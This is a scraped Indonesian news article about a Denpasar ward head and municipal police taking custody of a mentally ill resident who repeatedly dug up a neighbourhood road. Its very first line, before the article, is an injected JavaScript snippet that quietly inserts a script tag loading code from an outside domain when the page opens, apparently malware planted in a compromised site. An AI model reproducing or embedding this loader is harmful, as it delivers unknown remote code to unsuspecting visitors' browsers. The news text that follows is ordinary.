;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Resahkan Warga, Lurah Panjer Bersama Satpol PP Amankan ODGJ – PT.Bali Global News
Media Informasi Masyarakat

Resahkan Warga, Lurah Panjer Bersama Satpol PP Amankan ODGJ

Denpasar, Baliglobalnews

Orang dengan gangguan jiwa (ODGJ) yang meresahkan warga Kelurahan Panjer, tepatnya di Jalan Tukad Citarum, mendapat respons dari Lurah Panjer, I Putu Budi Ari Wibawa. Bersama Satpol PP Kota Denpasar, ODGJ tersebut diamankan untuk mendapat penanganan lebih lanjut.

“Berawal dari laporan Kepala Lingkungan Kertasari bahwa ODGJ  di Jl. Tukad Citarum meresahkan warga sekitar lokasi, ini dikarenakan yang bersangkutan melakukan pengerukan jalan di depan rumahnya sehingga konstruksi di bawahnya menjadi kosong, tentu saja ini membahayakan pengguna jalan yang melintas di sana dan berdasarkan laporan warga sudah pernah ada yang jatuh akibat kondisi jalan itu,” ujar Budi Ari saat ditemui Minggu (25/9/2022).

Dia memberi saran kepada Kepala Lingkungan Kertasari untuk menambal dengan menggunakan material tanah dan batu. Kemudian pada Minggu (25/9/2022), Kepala Lingkungan Kertasari bersama Kelian Mona (Adat) melakukan penambalan jalan tersebut, akan tetapi belum kering diplester dengan semen tiba-tiba ODGJ yang dimaksud datang dan membongkarnya.

Warga pun kembali melaporkan kepada Kepala Lingkungan dan selanjutnya bersama Satpol PP yang kemudian datang bersama Babinsa melakukan pengamanan terhadap ODGJ tersebut.”Untuk diketahui, bahwa ODGJ tersebut sudah dua bulan terakhir ini mendapatkan pembinaan dari pihak kelurahan secara persuasif untuk menghentikan tindakannya itu, akan tetapi tidak dihiraukan.

Dan sebagai informasi tambahan, bahwa ibu dan kakaknya juga menderita gangguan kejiwaan dan tinggal di alamat yang sama, dan sampai saat ini pihak Kelurahan masih tetap memberikan konsumsi siang dan sore hari melalui bantuan dari Dapur Yadnya,” ujarnya sembari menyampaikan pihaknya juga telah mendaftarkan ke Data Terpadu Kesejahteraan Sosial di Dinas Sosial Kota Denpasar, agar satu keluarga ini mendapatkan KIS PBI dan dirujuk ke Rumah Berdaya atau Rumah Sakit Jiwa sesuai hasil pemeriksaan nanti.

(bgn003)22092517

Comments
Loading...